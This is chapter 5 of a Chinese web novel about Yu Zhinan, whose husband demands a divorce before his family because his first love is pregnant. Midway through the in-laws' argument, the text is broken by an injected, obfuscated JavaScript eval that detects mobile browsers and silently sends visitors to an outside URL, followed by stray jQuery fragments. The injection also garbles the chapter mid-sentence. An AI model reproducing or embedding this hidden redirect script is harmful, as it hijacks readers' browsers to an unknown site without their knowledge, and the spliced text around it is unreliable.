5. 第 5 章
作品:《她已经离婚了》 撞到人后郁知南心跳得特别快,惶恐不安。
对于她来说,撞进一个男性的怀里还被扶住是失礼的。对方看起来不像是平易近人的人,万一是个性格古怪的权贵,还容易引出更多不好的事。
而且,她跟年轻男性的接触实在是少得可怜,唯一跟她有相对亲密关系的男性就是陆砚庭。可是两人空有夫妻之名,说好听点是相敬如宾,说难听点就是关系疏离。
结婚前她只是一个想过好自己生活的学生,对爱情抱有期待,但没有迈出步子,因为没有遇到合适的人。她对爱情是有要求的,不会为了想恋爱而恋爱。
结婚后她恪守所谓的妇道。虽然这不是她想要的婚姻,但作为一个有道德的人,她清楚该做什么不该做什么,不能有任何瓜田李下的事。何况一开始谦谦有礼的陆砚庭着实给了她两人能日久生情,过好日子的错觉。
洁身自好得有些过分,导致意外跟陌生男性接触都会让她惊慌失措。
风华正茂的女生只因为结婚就变得谨小慎微,不该这样的,过犹不及。
-
走出临江阁大厅,发现外面在下雨。
毛毛雨,看着不明显,容易迷惑人,最能悄无声息地打湿人或物。
郁知南不喜欢这样的天气,慌忙上车。她以为接下来可以好好平复情绪,结果却被司机告知要立刻去陆家老宅,至于原因,到了才知道。
有种不祥的预感。
心绪更难平静了。
既然平静不了,那就继续思考吧,不破不立,是时候该逼自己一把。
-
一个小时后,郁知南到达陆家老宅。
她预想过很多种可能性,并且都是往不好的方向想,尽量让自己做好准备,然而,摆在她面前的事实还是超乎她的想象。
陆砚庭带白月光慕容欣回家,要和郁知南离婚,给慕容欣名分,原因是慕容欣已经怀孕两个月。
陆砚庭已经跟陆父陆母争论了好一阵,可谓一意孤行,因此只能把另外一个当事人郁知南叫来现场。
“我们的婚姻名存实亡,没必要再继续下去,我知道你也想离婚。”陆砚庭跟慕容欣坐在一块儿,单手揽着身边人的腰,动作无限温柔。眼睛看着坐在对面的郁知南,目光和语气冰冷得如寒冬腊月的风。
郁知南一开始是懵的,知道大概情况后惊诧不已,待稍微冷静些,她又想笑。
因为,眼前的慕容欣并不是昨天见过的白裙女生,不过两人倒是有几分相似,细看五官完全不一样,但清纯的气质一模一样。
陆砚庭对白月光念念不忘她是知道的,可白月光都怀孕了,陆砚庭出差的时候竟然还能跟替身睡在一起,能有多爱呢?
而且,她从未说过想离婚,一直在忍让,希望可以好好过日子,对方此时居然说她也想离婚,摆明了在欺负她。
太可笑了,对方可笑,以前对对方抱有希望的她也可笑。
陆砚庭见郁知南不说话,并不意外,他又看向父母,同时搂紧身边的慕容欣:“你们不是想要孙子吗?她肚子里的就是。”
“砚庭,即使你和小南没有感情,但毕竟你们结婚了。你这样做,非常不妥。”陆父陆永昌开了口,看似一脸严肃,实际责怪的语气并不强烈。
“我跟郁知南的婚姻从一开始就是商业联姻,各取所需。现在陆家跟郁家之间的合作已经稳定,共同的利益牵绊已经足够,没必要再多一个空壳婚姻。”陆砚庭神色如常,没有半分做错事的样子,“及时止损是明智之举,我会给她补偿。”
陆母许华筠的余光一直在瞥郁知南,陆父已经唱红脸,那她就该唱白脸了:“其实如果结婚两年女方都没能有身孕,而男方的生育功能正常,确实是女方的责任,这种婚姻……没必要再继续。”
“怀孕又不是一个人就能怀上的,他不履行丈夫的职责,一次都没有过,我一个人能怎么办?”郁知南结婚以来第一次如此生气,她一直在退,却依然被针对。眼前这家人似乎商量好了一般,欺负她到底,把责任全部推到她头上。欺人太甚,简直忍无可忍,话难听她也要说出来。
“什么意思?”许华筠的声音压不住的高昂,她瞪大了双眼。她的疑问除了震惊结婚两年小夫妻之间的奇怪相处,还有郁知南竟然敢语言反击。
“意思是我跟她之间是不会有孩子的。”陆砚庭接过话,“我们的婚姻一开始就是错误的,怎么凑合都没用,没必要一错再错,该有一个正确的结果了。”
许华筠脸色相当难看,她自以为可以掌控儿子儿媳,结果没有一个是她掌控住的,难受得仿佛吃了只苍蝇。她睥睨郁知南:“那也是你没用,连自己的丈夫都抓不住!”
“你们明明知道他有喜欢的人,爱而不得……我再好,做再多也没用。”郁知南委屈而生气,不过她没有歇斯底里,她已经被所有人嫌弃、利用,不能再成为疯女人。
“你还真是会给自己找遮羞布!”许华筠愤然作色,“当初结婚是双方同意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992289|193770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,这点大家有目共睹,但是,谁能保证没有婚变?你不能拿着现在的结果去说以前开始的部分不对!”
郁知南不想跟任何人争吵,她也吵不过,她只想维护自己的权益,所以当对方愤怒的时候,她不会接话。
“对,我们说的是现在,以前不重要。”陆砚庭又接过话,他用平静的目光着看郁知南,“不论如何,我们的婚姻都没必要继续下去。好聚好散吧,协议离婚,我会补偿你的。”
郁知南感受到对方的急切,她有点不甘:“我们是签了婚前协议的。”
陆砚庭眼神一沉,脸上的表情终于有了点变化:“婚前协议多是财产分割问题……婚变,不可控。”
“你出轨了,婚变的原因在你。”郁知南快速说出了这句话,因为犹豫一点她可能就不敢说了。
“所以我不是说了会给你赔偿吗?”陆砚庭的语气透出几分强硬,见郁知南被她镇住,继续说道,“不离婚也无所谓,非婚生子女享有与婚生子女同等的权利。你我之间绝对不可能有孩子,她的孩子就是我唯一的孩子。如果你一定要讨论对错,那所有过错我来扛,不准伤害她和孩子,他们是无辜的。”
陆砚庭说着侧目看向身边的慕容欣,满眼温柔:“别怕,有我在,这次我不会放手的。”
郁知南抿紧嘴唇,双手握拳,沉默了。没办法,她没有靠山,她清楚郁家那边只要能得到足够的利益,是会同意离婚的,毕竟没有人会在意一颗棋子的幸福。
“行了,不要吵!”陆永昌再次开口,面有愠色,“丢人的事没必要闹得人尽皆知,你们觉得无所谓,我还要我这张老脸呢!”
“爸,这件事确实我有错,所以我先在家里跟你们好好商量。”陆砚庭一副讲理的模样,“欣欣有孩子完全是意外,是我的问题,当时喝醉了酒……把她都吓坏了……总之,这一次我必须要负起责任。”
“身为男人,你当然该负起责任。”陆永昌冷哼一声,表现出生气失望的样子,然后没有再多说。
许华筠随即会意,她盯着郁知南:“那这件事还是得看另外一位当事人怎么想。”
郁知南清楚自己现在跟被狼群围剿的羊没区别,于是只能如往常一般退一步,也算是缓兵之计:“那……我也得跟家里商量商量,这么大的事,我做不了主。”
“不行!不可以让更多人知道。”陆砚庭的声音果断而冰冷,“我不想欣欣和孩子遭受任何流言蜚语,不论是现在还是今后,一点都不能有。”

